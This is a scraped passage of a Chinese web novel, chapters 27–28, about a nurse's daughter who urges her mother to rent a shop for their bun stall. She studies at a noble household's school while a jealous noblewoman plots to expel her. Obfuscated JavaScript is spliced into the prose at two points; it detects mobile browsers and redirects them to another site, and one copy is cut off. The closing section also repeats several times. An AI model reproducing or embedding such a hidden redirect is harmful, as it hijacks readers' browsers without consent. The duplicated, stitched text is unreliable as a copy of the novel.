家中人就这么多，做个小摊子顶了天了，每日赚的有数，等入了夏或是入冬，生意还不知如何呢。 读书一年银子不多，家里现在是给得起，要是长久读下去，还有笔墨书本的花销。 这些才是大头。 若是读得好，以后还供不供了，越是读得久，花的银子就越多。 许娘子能看出崔如英喜欢读书，自然也能看出大郎喜欢。若读个两年再不读了，她都不知怎么和儿子开口。 崔如英又吃了一口面条，面条里面夹着虾仁儿，她道：“娘，要不然咱们租个铺子吧。” 作者有话要说 第 27 章 勤勉 第27章勤勉 租铺子崔如英也提过几次。 许娘子首先想到的是,租铺子得花钱，况且家里才将将做了一个月的生意，这会儿就想着租铺子想得也太远了。 老人常说小孩儿还没学会走呢就先学跑了,这是说小事儿还没做好,就想着做大事儿。 这样免不了栽跟头,租铺子也一样。 谁家租铺子都不可能只租一两个月,租客想租就租，想走就走。 许娘子虽没租过,可听人说过,租门面怎么着也得一年半载的，除此之外还有大笔银子的租金，租钱也不是一个月交一次，向来是押一付三。 这么多银子搭进去，若是生意不好，再往外出铺子也难,二房东不好当,而且一般也不让这么着。 除非是舍了一个月的押金,那可是白花花的银子呀。 许娘子低着头道：“租什么铺子,先把包子摊儿做好了再说。” 崔如英以前卖东西,总结出来的经验，有人不买是不想买，有人却是缺银子，瞻前顾后，等想买的时候却没机会了。 崔如英说道：“包子摊再好能好到哪儿去呢,娘,我知道你是怕亏钱。可你不迈出那一步,怎么知道租铺子是亏钱还是赚钱呢？ 咱们家人多,大哥马上就娶亲了，若是想读书花的银子就更多，还有四郎五郎，以后日子好了，难道你就不想把他们送书院去？ 女儿是觉得读书真好，有先生教导，学堂房舍宽敞明亮，在那里坐着拿笔写字看书念书，和在家中厨房里包包子是不一样的。 咱们家也不能包一辈子包子呀，而且做生意有赚钱的，那自然有亏钱的，如果是亏钱了，也就是亏几个月的利润，咱们不是还有包子摊这个退路吗？” 许娘子听着女儿说了一大通，心里有些动容，可家里总共十几两存钱，她现在又不在家中，怎么放心。 崔如英循循善诱道：“娘，要是只卖酱肉包子，的确不值得开个铺子，可如今咱们能做生煎包子，女儿还能做别的，生煎十文钱四个，单买可要三文钱一个呢，刚出锅的最好吃，而且吃着也不是特别方便，要是能坐下喝着里面的汤细细品尝，那才爽快。” 许娘子先饭都顾不得吃了，皱着眉道：“什么包子，咋还卖这么贵，十文四个？” 这么贵还能卖出去。 卖生煎包子的事儿崔如英没细说，许娘子只知道赚钱了，家里人不闲着就够了，赚多少她也没问，因为她知道崔大山不是乱花 钱的人对孩子们也放心。 崔如英嗦了口虾仁儿面她不禁想能在侯府小厨房做事的也不是一般之辈知道牛肉辣椒焖面就能做个虾仁儿焖面。 这面当真鲜美。 或许她能学着一二以后把包子也做更好些而不是光靠着以前的记忆半点进益都没有。 一想这个崔如英就想到家里的酱肉包子焖面可以这个别人或许也能学会甚至能举一反三做出别的包子来。 像是叉烧包啥的都是没准儿的事儿绝不能低估别人。 崔如英道：“娘有机会了尝尝就知道了娘你就没想过酱肉包或许过阵子别人就能学会了。” 许娘子诧异道：“酱肉包子也有人学？” 崔如英加了把火“那可不南街卖鲜肉包子的就有三家有的好吃点儿有的大一点各人口味不一样兴许咱们觉得味道差的有人也喜欢日日都去。” 这也快一个月了酱肉包用得是甜酱甜面酱如今还没有崔家用的大酱和糖熬的不如甜面酱够味儿但也相近这是崔如英依着记忆调出来的别人或许也能做出来。 许娘子一听立刻慌了神“这别人学会了哪怕不是一模一样也有人买呀。” 那崔家的客人必然少了少多少还不知道呢。 许娘子知道女儿会做也是跟别人学的只要不是来家里瞧着学方子那都是管不了的。 崔如英叹了口气看向许娘子道：“对呀咱们开包子摊儿已是先人一步可可要是不开铺子别人开了咱们不是晚了一步吗。娘我是家里的女儿也想大哥去读书二姐少辛苦弟弟妹妹们有好日过。有个铺子遮风挡雨爹他们也不会太累。” 这些话崔如英以前卖东西的时候常说如今也是换汤不换药。 她虽然有哄许娘子的成分可有些话没错。 先机很重要到时别人学了崔家包子就算好吃生意肯定会被分走。 不是所有人都能尝出细微的差别来 到时候生意不好一天估计也能有个一二百文一个月五六两银子的确够家中温饱。 可由简入奢容易由奢入简难呀到时侯许娘子也未见得能受得了。 又扣扣索索连肉都舍不得吃了。 许娘子哎了一声“你这回回去了让你爹打听打听租铺子都多少钱。” 许 娘子没做过这些，半点儿都不懂。 多大的，卖什么，铺子开在哪儿，脑子里是一点想法都没有，自家又不下馆子，也没见过别人家的饭馆啥样。 不过崔如英可以去忙活。 许娘子现在就像个蚌壳，已经撬开一点点了，日后肯定好说话。 崔如英笑着点了点头，“娘，你放心吧，包在我身上，娘你多吃点，咱们一家子日子肯定越来越好的。 许娘子笑了笑，柔声对女儿道：“快吃吧，多吃点儿。 崔如英这边吃的是虾仁儿面，配着小菜，还有一碗老鸭汤。 那回用酸萝卜炖的鸭架汤，陆云蓁和楚庚元都很喜欢，这道汤就常出现在正屋饭桌上了。 焖面有两样，一份虾仁儿焖面，一份辣椒牛柳焖面，还有蒸点小菜，虽然只吃面，可也摆了一张桌子。 楚庚元有些诧异，“这是面？ 陆云蓁点点头，“下午我尝过了，辣椒牛肉的味道好极了，就是有些辣，怕你吃不惯，就又吩咐小厨房做了一样别的，你尝尝喜欢哪个。 侯府做菜多炒菜，也精致惯了，像那日吃的酸辣粉，以往都不会往桌上摆。这样的焖面炒面，多是市井农家，做上一大锅一家人吃。 就着蒜瓣，吃着也香。 不过陆云蓁想着夫妻俩人，本就是最亲密的人，不在乎仪态不仪态的了。 楚庚元点了点头，“我先尝尝你说的。 面入口中，夹着已经软烂的辣椒丝和牛柳，那是说不上来的好吃，杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764375|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起，以前楚庚元都没想过能如此，所以更让他觉得新奇。 辣是真辣，夫妻俩一块儿时楚庚元也不用顾及仪态，直接大口大口吃。 陆云蓁又递上小碟蒜片，“再就这个试试呢？ 楚庚元夹了小片蒜片，连着面一起送入嘴中，他都不明白为什么，就着蒜片吃反而更香。 小厨房做菜偶尔放蒜，生蒜辛辣，熟蒜只管调味儿。 没想到还能跟面一起吃。 陆云蓁看楚庚元神情就知道他觉得好吃，“我还是头一回这样吃呢，就是这蒜吃完有味道，得漱口才行。 楚庚元摇摇头表示自己并不在意，他道：“若是有酒更好，吃着当真爽快。不出我所料，这又是许娘子女儿想出来的主意吧。 陆云蓁笑容带了两分蜜意，“这孩子今儿上学了，也是真高兴，就琢磨让我吃舒心些。 楚庚元：“那我也是沾了你的光。 吃了几大口面，楚庚 元问道：“第一日，可还跟得上？” 陆云蓁道：“字写得还不错，今儿也就教些《三字经》，须时间久些才看出成效来。” 楚庚元点了点头，没再过问，而是让陆云蓁多吃些。 后头又尝了虾仁儿的，楚庚元反倒觉得牛柳的更好吃，牛肉也不硬。 吃完再喝一碗老鸭汤，浑身都舒畅。 月升月落，次日许娘子看白日，崔如英也起得早，早早就去了学堂。 还得上四日才能回家，租铺子的事儿也不急于一时，崔如英现在就先好好上课。 她早到了一会儿，过来先温书，等黄先生到了，把昨儿写的字交了上去。 对于认真的学生，为人师长，难免多几分耐心，黄先生看完指点一二，“等明日我给你带一本字帖过来，你照着练，只要勤勉，一个月应该会小有成效。” 自己写，容易走弯路。 这前人成名必有缘由，照着大家练，比只听他讲自己写强。 崔如英心里惊喜，“谢过先生，只是这字帖太过贵重，学生才学，受之有愧，也怕怕写错了浪费。” 黄先生道：“字帖就是拿来练字的，你若勤学，自然不辜负字帖。” 崔如英这才点了点头，“多谢先生！” 黄先生挥了挥手，“回去坐罢，对了，昨儿讲的可会读了。” 崔如英答道：“学生已经会背了。” 黄先生眼里有几分笑意，“很好。” 崔如英回到座位后，赵婉芝也送楚玉娴过来了，到了免不了跟黄先生寒暄几句，最后看了崔如英一眼，笑着说道：“那丫头是我们三房奶娘的女儿，我弟妹心善，也送来读书了，从前未读过，还劳黄先生多多费心。” 怕是三房不会提，黄先生也不知这是谁的女儿。 赵婉芝这也是好意，说得落落大方很是体面。 黄先生怔了怔。 话音传到崔如英耳朵里，她望向黄先生，站起来又低下头道：“学生学业不精，有劳先生了。” 黄先生抿了抿唇，“大娘子多虑了，崔小娘子很是用功，功课也不错。” 作者有话要说 第 28 章 丢字 第28章丢字 黄先生说话时虽然看着赵婉芝,可话却是对着崔如英说的，“不管从前读过还是未读过，只要肯用功就好。” 崔如英笑着道：“先生说得是,学生记下了。学生也相信笨鸟先飞,勤能补拙。” 黄先生眼中带了几分赞许,不卑不亢,没有因为自己家世羞愧，性子不错。 黄先生道：“这说得不错,你是听谁说的？” 崔如英道：“是听三娘子说的,三娘子说女儿家读书可以明事理，倒也没说奶娘的女儿就不能读，所以我才来了。” 黄先生点点头，“的确如此，快坐下吧。” 赵婉芝的笑都有些挂不住了，她没想到黄先生会夸崔如英,她没想到崔如英才七岁,就这般伶牙俐齿,她笑了笑,“如此便是最好,倒是我多操心了。玉娴这儿还望先生多费心，没什么事儿我就回去了。” 黄先生点了点头，赵婉芝这才离去，转头的瞬间，她脸上笑容半点不剩。身后丫鬟悄然跟着,赵婉芝眼中透着几分冷然。 回燕宁堂的路上,她不禁想,这市井出身就是好,只要肯用功，那就能得先生夸赞。不像她家玉娴，才五岁大，背了那么多首诗才得公爹一句不错。 全怪三房。 赵婉芝心里怄着气，三房生了儿子，侯爷看重，她便让自己儿子在学业上用功，更悉心教导女儿，力求侯爷能高看一眼。 谁知三房竟然想出这么个主意，把奶娘女儿送来学堂。 真是腰杆子硬了，从前不显山露水，现在看，陆云蓁当真不是什么好相与的。 赵婉芝可不觉得陆云蓁是因为一时心善才力荐一个奶娘的女儿来侯府学堂，陆云蓁这么做藏了坏心！ 楚玉璋年岁尚小，还没满呢月，自然什么都做不了，想争爵位单靠一个儿子不行，这会儿侯爷高兴，时间久了那也就是个孩子。侯爷如今岁数也大了，看重儿子，也看重孙子。长房长孙今年十四岁，若是得力，谁会再等十四年等三房儿子长大。 等陆云蓁儿子启蒙那得几年后，到时轩哥儿都成亲了，现在想争，总得借点东西才行。 所以这丫头就是个很好的引子，外人看，她陆三娘子善良大度，对奶娘的女儿都格外疼惜，是个宽容良善之人。 这名声不就好了。 一个宽容的当家主母，总好过小心眼事多的。 可对赵婉芝来说，她的女儿启蒙是跟一个上不得台面的奶娘女儿一块儿，日后说 出去也让别人笑话。 就算她也装得良善不计较此事，可日后呢。 如果崔家那丫头学业不精，那就是理所当然，毕竟出身摆在那儿了，家中父母大字不识，哪来的机会念书，还指望她读多好吗？ 就如今日黄先生夸赞一般，一个七岁大的孩子，知道用功就能夸，她的女儿背诗难道没有用功吗。 若是真像黄先生所说功课不错，那又该怎么办，外人会夸她陆云蓁慧眼识珠，要不然这丫头只能在巷子里待一辈子，是菩萨是恩人。 说大房只会说楚玉娴一个世家出身的贵女，竟然比不过一个奶娘的女儿，说出去倒让人笑话。 赵婉芝哪里能咽下这口气。 至于二房那边，本来楚玉珠就屁都不会，陆云蓁送去一个一起读书，孙惠茹怕是早盼着这天。 不管崔如英读得好还是读得差，二房都不吃亏。 读好了三房得脸，总之二房没有儿子，二爷官位也不如三爷高，亲兄弟一母同胞，一直都依附着。 读得不好，正好有人给楚玉珠垫底。 赵婉芝不愿意崔如英来读书，她得想想法子，把她从学堂赶出去。至于会不会觉得一个大人对孩子出手太过残忍，她可不觉得。 若不依靠侯府，那丫头能读书吗？本来就该在巷子里好生待着，非来侯府作什么。 她只是想让崔家丫头哪里来的回哪里去，不是所有麻雀都能飞上枝头变凤凰的。 * 今儿楚玉珠的位置这会儿依旧没人，到了时辰黄先生开始上课了，估计楚玉珠又来晚了。 黄先生先检查完楚玉娴昨儿的作业，然后继续教《三字经》。 《三字经》全文一千余字，因为楚玉娴早学过，崔如英记得也快，黄先生教书的速度不知不觉就快了。 黄先生并非为崔如英说话，他是能瞧出她在用功。 站着也能一清二楚地看见，楚玉娴会偶尔出神，但崔如英不同，不曾走过神。 黄先生有时也感叹天分一事，楚玉娴学过他能看出，自然也能看出崔如英没学过，字都不认识，可是记得很快。 崔如英一上午都在背书认字写字，她也感叹，新脑袋就是好使。 而且她从前看过各种学习视频，知道好多学习方法，加上这个脑子真的好用，现在说是过目不忘也不为过。 一上午很快就过完了，楚玉娴觉得脑子里满满登登的，看了眼后头过来的楚玉珠，一下课就跑得飞快，而崔如英没动，伏在书案前写字。 崔如英想把今日留的字写完再回燕归堂，学堂的坐垫舒服，桌子也宽敞，燕归堂的那张桌子多是吃饭用。 楚玉娴收拾得慢，放一样东西就抬头看崔如英一眼，等了一会儿崔如英也没动，便道：“崔小娘子！” 崔如英抬起头来，“楚小娘子，你可有事？” 楚玉娴问道：“都下课了，你怎么不回去？” 崔如英：“我想把作业写完再回去，时辰还早，也不急。” 楚玉娴点了点头，“原来如此，那你慢慢写吧。” 她看见崔如英写的字了，并不好看，比她差得远呢，这她就放心了。 楚玉娴讨厌崔如英是理所应当的，明明该她启蒙，三婶母却借她的由头把奶娘的女儿塞了进来。 不过楚玉娴还记着赵婉芝的嘱咐，在外面面子要做足，就算她讨厌崔如英，面上也不能显出来。 一来会扫祖母的面子，这是祖母点过头的。二来讨厌一个人，显在脸上，别人能看不出来吗，还显得自己小气。 楚玉珠是大小姐脾气，楚玉娴年纪小两岁，做妹妹的比姐姐还娴静温婉，这样才得侯爷夫人喜欢。 楚玉娴回了燕宁堂，学堂变得十分寂静。 屋外太阳高挂，院子里的桂花树被晒得绿油油的，偶尔传来几声鸟叫，春风和煦，暖人得很。 学堂里没别人，崔如英写完了一张大字，又写了一张。 还是后写的放学堂阴干，前头写的那张干透了，她就给折好带了回去。 回到燕归堂，田娘子还在睡着，崔如英动静很轻，等吃过饭，把《三字经》又看了一遍。 这才上第二日课，还有三日呢。 半日不好回家，闲着也是闲着，崔如英打算先把《三字经》背会，多练练字。 以往光待着，这会儿有点事做，她还挺高兴的。 明儿就能练字帖了，该多认识些字的。 傍晚许娘子跟田娘子换了班，回来听女儿背了新的诗文，又看了她写的字，眉眼中是化不开的温柔笑意。 她还怕女儿三分钟的热度，还好。 许娘子道：“这个字好看，这个也不错。” 这一年多时日，希望女儿多学些。 许娘子是没想过以后的，一年多璋哥儿就该断奶了，她离开侯府，崔如英自然也离开。 崔如英道：“娘，我是看着前头写的不太好，力道就不一样了，每写一个字，我都会看前面的。” 许娘子道：“这不就和包包子 一样吗，挺好，这样也知道哪里不成。” 崔如英：“娘你说得可太对了，读书可真好，这回回家，我和爹去看看铺子，到时生意稳当，大哥也能去读书了。” 许娘子点了点头，“嗯，你也好好读。” 这一连上到初九，初七初八连着两日下雨，这两日楚玉珠都没来上课。 楚玉娴初七没过来，但初八来了，崔如英不怕雨，黄先生住那么远都过来，她就在燕归堂，自然也能过来。 初九这日天放晴了，崔如英还挺高兴的，本来怕一直下雨回不了家，还好今日是个晴天，早上她已和李嬷嬷说了下午要回家，等后日下午再回来。 回去帮帮忙，也看看别人家生意怎么做，若是来得及，还能看看出租的铺子。 而且这几日她已经会背《三字经》了，字都能认得，初七黄先生送了她字帖，她日日练，这字已小有进益。 读书不费劲儿，还能回家，崔如英自然欢喜。 她今儿来得早，坐下后打算掏出书来看看，可刚坐下，她发现昨儿后写的那张大字不见了。 崔如英每次回去之前都会关窗，不过都在府中，学堂也没贵重东西，所以不会锁门，可她也会把门带上。 难不成是掉到地上了？ 她站起来绕着书案走了一圈，可还是没找到，一张纸而已，她当时还用镇纸压着，怎么可能不见了？ 没有风，这纸她每日都放，总不会被人拿走吧，可又不是什么名家字画，她一个刚学写字的人写的大字，一篇就那一个，谁稀罕。 在屋里绕着走了一圈，崔如英还是没找到。 楚玉珠的东西还放着没收拾，楚玉娴桌上也有笔墨书纸这些，可是别人的崔如英也不好翻动。 实在找不到，崔如英就不找了，反正她写了两张，一张丢了还有一张呢。 辰时二刻，尽管楚玉珠不在，黄先生还是准时上课了。 每日上课，黄先生都会先检查学生们的作业，字写得好不好，哪个字哪一笔不对，都会指出来。 也就初六那天崔如英来得早，黄先生提前看了。 楚玉娴先拿出来的，“请先生指点。” 作者有话要说 每天十点更新，这几天过节比较忙，能多写会多更的。 提前祝大家中秋节快乐~ 一样吗，挺好，这样也知道哪里不成。” 崔如英：“娘你说得可太对了，读书可真好，这回回家，我和爹去看看铺子，到时生意稳当，大哥也能去读书了。” 许娘子点了点头，“嗯，你也好好读。” 这一连上到初九，初七初八连着两日下雨，这两日楚玉珠都没来上课。 楚玉娴初七没过来，但初八来了，崔如英不怕雨，黄先生住那么远都过来，她就在燕归堂，自然也能过来。 初九这日天放晴了，崔如英还挺高兴的，本来怕一直下雨回不了家，还好今日是个晴天，早上她已和李嬷嬷说了下午要回家，等后日下午再回来。 回去帮帮忙，也看看别人家生意怎么做，若是来得及，还能看看出租的铺子。 而且这几日她已经会背《三字经》了，字都能认得，初七黄先生送了她字帖，她日日练，这字已小有进益。 读书不费劲儿，还能回家，崔如英自然欢喜。 她今儿来得早，坐下后打算掏出书来看看，可刚坐下，她发现昨儿后写的那张大字不见了。 崔如英每次回去之前都会关窗，不过都在府中，学堂也没贵重东西，所以不会锁门，可她也会把门带上。 难不成是掉到地上了？ 她站起来绕着书案走了一圈，可还是没找到，一张纸而已，她当时还用镇纸压着，怎么可能不见了？ 没有风，这纸她每日都放，总不会被人拿走吧，可又不是什么名家字画，她一个刚学写字的人写的大字，一篇就那一个，谁稀罕。 在屋里绕着走了一圈，崔如英还是没找到。 楚玉珠的东西还放着没收拾，楚玉娴桌上也有笔墨书纸这些，可是别人的崔如英也不好翻动。 实在找不到，崔如英就不找了，反正她写了两张，一张丢了还有一张呢。 辰时二刻，尽管楚玉珠不在，黄先生还是准时上课了。 每日上课，黄先生都会先检查学生们的作业，字写得好不好，哪个字哪一笔不对，都会指出来。 也就初六那天崔如英来得早，黄先生提前看了。 楚玉娴先拿出来的，“请先生指点。” 作者有话要说 每天十点更新，这几天过节比较忙，能多写会多更的。 提前祝大家中秋节快乐~ 一样吗，挺好，这样也知道哪里不成。” 崔如英：“娘你说得可太对了，读书可真好，这回回家，我和爹去看看铺子，到时生意稳当，大哥也能去读书了。” 许娘子点了点头，“嗯，你也好好读。” 这一连上到初九，初七初八连着两日下雨，这两日楚玉珠都没来上课。 楚玉娴初七没过来，但初八来了，崔如英不怕雨，黄先生住那么远都过来，她就在燕归堂，自然也能过来。 初九这日天放晴了，崔如英还挺高兴的，本来怕一直下雨回不了家，还好今日是个晴天，早上她已和李嬷嬷说了下午要回家，等后日下午再回来。 回去帮帮忙，也看看别人家生意怎么做，若是来得及，还能看看出租的铺子。 而且这几日她已经会背《三字经》了，字都能认得，初七黄先生送了她字帖，她日日练，这字已小有进益。 读书不费劲儿，还能回家，崔如英自然欢喜。 她今儿来得早，坐下后打算掏出书来看看，可刚坐下，她发现昨儿后写的那张大字不见了。 崔如英每次回去之前都会关窗，不过都在府中，学堂也没贵重东西，所以不会锁门，可她也会把门带上。 难不成是掉到地上了？ 她站起来绕着书案走了一圈，可还是没找到，一张纸而已，她当时还用镇纸压着，怎么可能不见了？ 没有风，这纸她每日都放，总不会被人拿走吧，可又不是什么名家字画，她一个刚学写字的人写的大字，一篇就那一个，谁稀罕。 在屋里绕着走了一圈，崔如英还是没找到。 楚玉珠的东西还放着没收拾，楚玉娴桌上也有笔墨书纸这些，可是别人的崔如英也不好翻动。 实在找不到，崔如英就不找了，反正她写了两张，一张丢了还有一张呢。 辰时二刻，尽管楚玉珠不在，黄先生还是准时上课了。 每日上课，黄先生都会先检查学生们的作业，字写得好不好，哪个字哪一笔不对，都会指出来。 也就初六那天崔如英来得早，黄先生提前看了。 楚玉娴先拿出来的，“请先生指点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每日上课，黄先生都会先检查学生们的作业，字写得好不好，哪个字哪一笔不对，都会指出来。 也就初六那天崔如英来得早，黄先生提前看了。 楚玉娴先拿出来的，“请先生指点。” 作者有话要说 每天十点更新，这几天过节比较忙，能多写会多更的。 提前祝大家中秋节快乐~ 一样吗，挺好，这样也知道哪里不成。” 崔如英：“娘你说得可太对了，读书可真好，这回回家，我和爹去看看铺子，到时生意稳当，大哥也能去读书了。” 许娘子点了点头，“嗯，你也好好读。” 这一连上到初九，初七初八连着两日下雨，这两日楚玉珠都没来上课。 楚玉娴初七没过来，但初八来了，崔如英不怕雨，黄先生住那么远都过来，她就在燕归堂，自然也能过来。 初九这日天放晴了，崔如英还挺高兴的，本来怕一直下雨回不了家，还好今日是个晴天，早上她已和李嬷嬷说了下午要回家，等后日下午再回来。 回去帮帮忙，也看看别人家生意怎么做，若是来得及，还能看看出租的铺子。 而且这几日她已经会背《三字经》了，字都能认得，初七黄先生送了她字帖，她日日练，这字已小有进益。 读书不费劲儿，还能回家，崔如英自然欢喜。 她今儿来得早，坐下后打算掏出书来看看，可刚坐下，她发现昨儿后写的那张大字不见了。 崔如英每次回去之前都会关窗，不过都在府中，学堂也没贵重东西，所以不会锁门，可她也会把门带上。 难不成是掉到地上了？ 她站起来绕着书案走了一圈，可还是没找到，一张纸而已，她当时还用镇纸压着，怎么可能不见了？ 没有风，这纸她每日都放，总不会被人拿走吧，可又不是什么名家字画，她一个刚学写字的人写的大字，一篇就那一个，谁稀罕。 在屋里绕着走了一圈，崔如英还是没找到。 楚玉珠的东西还放着没收拾，楚玉娴桌上也有笔墨书纸这些，可是别人的崔如英也不好翻动。 实在找不到，崔如英就不找了，反正她写了两张，一张丢了还有一张呢。 辰时二刻，尽管楚玉珠不在，黄先生还是准时上课了。 每日上课，黄先生都会先检查学生们的作业，字写得好不好，哪个字哪一笔不对，都会指出来。 也就初六那天崔如英来得早，黄先生提前看了。 楚玉娴先拿出来的，“请先生指点。” 作者有话要说 每天十点更新，这几天过节比较忙，能多写会多更的。 提前祝大家中秋节快乐~ 一样吗，挺好，这样也知道哪里不成。” 崔如英：“娘你说得可太对了，读书可真好，这回回家，我和爹去看看铺子，到时生意稳当，大哥也能去读书了。” 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